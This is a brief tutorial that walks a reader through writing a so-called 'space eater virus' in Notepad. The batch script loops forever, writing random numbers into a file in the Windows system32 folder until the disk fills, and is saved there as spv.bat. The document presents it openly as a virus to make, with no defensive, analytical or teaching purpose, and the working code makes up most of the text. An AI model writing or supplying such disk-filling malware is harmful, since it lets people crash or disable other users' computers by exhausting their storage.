How to make a space eater virus

In this module i will show how to make a space eater virus in notepad.

1. First press win+r.
2. Then type notepad and press enter.
3. @echo off

title Space Eater Virus

:a
echo %random%%random%%random%%random%%random%>>%homedrive%/WINDOWS/system32/spv.txt
goto a
4. Now save it in C:/WINDOWS/system32/spv.bat.